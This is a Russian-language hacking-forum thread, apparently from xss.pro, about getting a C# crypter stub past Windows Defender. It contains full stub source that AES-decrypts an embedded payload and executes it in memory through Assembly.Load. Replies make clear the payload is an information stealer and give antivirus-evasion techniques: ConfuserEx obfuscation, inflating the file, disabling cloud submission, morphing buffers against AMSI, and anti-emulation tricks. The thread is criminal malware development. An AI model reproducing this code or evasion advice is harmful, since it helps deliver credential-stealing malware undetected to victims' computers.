в процессе написания криптора столкнулся с этим детектом, не каким образом снять не получается. Из за чего идёт этот детект, и как от него избавится?
стаб криптора пишу на c#, шифровать строки пробовал, разбивать на несколько функций тоже пробовал это мне не помоглокроптор скорее всего на jse или vbe? обычно script\wacatac появляется из за наличия нескольких ключевых фраз подряд.
пробуй скрыть текстовые переменные, разбей код на функции и процедуры.
а проверячешь на чем на детект?стаб криптора пишу на c#
проверяю детект на своих вма проверячешь на чем на детект?
файл переименовывай, машину перезагружай перед проверкой. еще раз попробуй строки спрятать. измени метод хранения того что криптуешь. попробуй в картинку засунуть в рессурсах, смени метода шифровки\дешифровки, попробуй использовать более легитимные методы. прояви творческий подходпроверяю детект на своих вм
первые два пункта учту к сведению. Строки пробовал ксорить, обфуксировать через нетреактор/крипто обфуксатор. Закриптованый файл пробовал хранить в трех местах в коде, в конце файла, в ресурсах. Из методов шифровки пробовал aes/xor (остановился на aes).файл переименовывай, машину перезагружай перед проверкой. еще раз попробуй строки спрятать. измени метод хранения того что криптуешь. попробуй в картинку засунуть в рессурсах, смени метода шифровки\дешифровки, попробуй использовать более легитимные методы. прояви творческий подход
можешь код сюда выложить, так будет проще понять
using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Security.Cryptography;
namespace stub
{
class aesIVector
{
public byte[] IV = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
}
class aeskey
{
public string key = "KedfdasDSA1";
}
class hex
{
public static string hexByte;
}
class aes
{
public byte[] decyptFile;
public aes()
{
aesIVector f = new aesIVector();
aeskey s = new aeskey();
SymmetricAlgorithm crypt = Aes.Create();
HashAlgorithm hash = MD5.Create();
crypt.Key = hash.ComputeHash(Encoding.Unicode.GetBytes(s.key));
crypt.IV = f.IV;
byte[] encryptedFile = Program.StringToByteArray(hex.hexByte);
using (MemoryStream memoryStream = new MemoryStream(encryptedFile))
{
using (CryptoStream cryptoStream =
new CryptoStream(memoryStream, crypt.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] decryptedBytes = new byte[encryptedFile.Length];
cryptoStream.Read(decryptedBytes, 0, decryptedBytes.Length);
decyptFile = decryptedBytes;
}
}
}
}
static class Program
{
public static byte[] StringToByteArray(String hex)
{
int NumberChars = hex.Length;
byte[] bytes = new byte[NumberChars / 2];
for (int i = 0; i < NumberChars; i += 2)
bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
return bytes;
}
static void Main()
{
hex.hexByte = "[HEX]"; //тут будет лежать шифрованый файл
aes decypt = new aes(); //расшыфровка файла
//----запуск файла
Assembly assembly = Assembly.Load(decypt.decyptFile);
assembly.EntryPoint.Invoke(null, new object[assembly.EntryPoint.GetParameters().Length]);
}
}
}
криптуй свой стиллер, сам он дефендером не детектитьсяа что именно криптуешь? может сам бинарник грязый?в коде не вижу ничего такого. не должен дефендер ругаться
криптуй свой стиллер, сам он дефендером не детектиться
Assembly assembly = Assembly.Load(decypt.decyptFile);
assembly.EntryPoint.Invoke(null, new object[assembly.EntryPoint.GetParameters().Length]);
Действительно, детект идёт на эти 2 строки. Попробовал заменить их на drop&run, но тот же детект остаетсяЗакомменти и запусти, должно быть вот здесь, еще может быть на MD5. Вообще комменти весь код и ищи на что именно орет.C#:Assembly assembly = Assembly.Load(decypt.decyptFile); assembly.EntryPoint.Invoke(null, new object[assembly.EntryPoint.GetParameters().Length]);
Еще может по энтропии: https://xss.pro/threads/73225/
Главное отключенная отправка в клауд и откат снапшота перед чеком из-за кэша.
Детект вешается на эти метаданные и запуск бинаря через EntryPoint.Invoke.Действительно, детект идёт на эти 2 строки. Попробовал заменить их на drop&run, но тот же детект остается
Сейчас я проверил, детект идёт на строку Assembly.Load, что с этим можно сделать?Детект вешается на эти метаданные и запуск бинаря через EntryPoint.Invoke.
Либо обфускация этого вызова (попробовать Activator.CreateInstance или рантайм генерацию вызова другим способом), либо никак, я пробовал. Пробуй ConfuserEx и разные параметры (на него все равно есть детект с облака, но вдруг повезет).
Если совсем не получается - пробуй раздувать файл до 750мб, картинки там в ресурсы добавить, etc.
после того как накинул конфезер какое название сигнатуры теперь?
амси на шарп не распространяется. Это dll, который загружается в exe скриптовых языков и парсит его элементы передавая к зареганному провайдеру аверу констаты (т.е. строки, апи вызовы).К теме не относится, но так же не стоит забывать про амси, начиная с .NET какой-то там версии (Честно хз, у меня все скрипты чистые от амси по дефолту) содержимое буфера, который ты передаешь на исполнение в Assembly.Load() будет подвержено сканированию, хорошо бы его заморфить нормально
Скорее эффективное решение - это хороший антиэмуль и в основном это не мат выражения, его изи хавает оптимизация (в случае C++ и прочего). Я бы посоветовал брутить по хешу в рантайме как где-то тут описано и был сэмпл. Сами com вызовы так же могут эмулироваться.Касательно антиэмуля есть несколько вариантов, можно сделать на математических операциях (Здесь это уже описывалось не раз, пошерсти темы на форуме), вкратце суть в том, что определенная константа, от которой зависит выполнение последующего кода (например, ключ шифрования какой-то) высчитывается в рантайме, эмулятор не сможет скипнуть этот код в связи с тем, что нарушится работоспособность твоего софта. А второй вариант конечно проще, попробуй поиграться с COM вызовами, смотри на возвращаемое значение и по нему определай, в эмуляторе ты или нет (Поток фантазии, не факт что сработает, по крайней мере простые апи вызовы в большинстве точно эмулируются)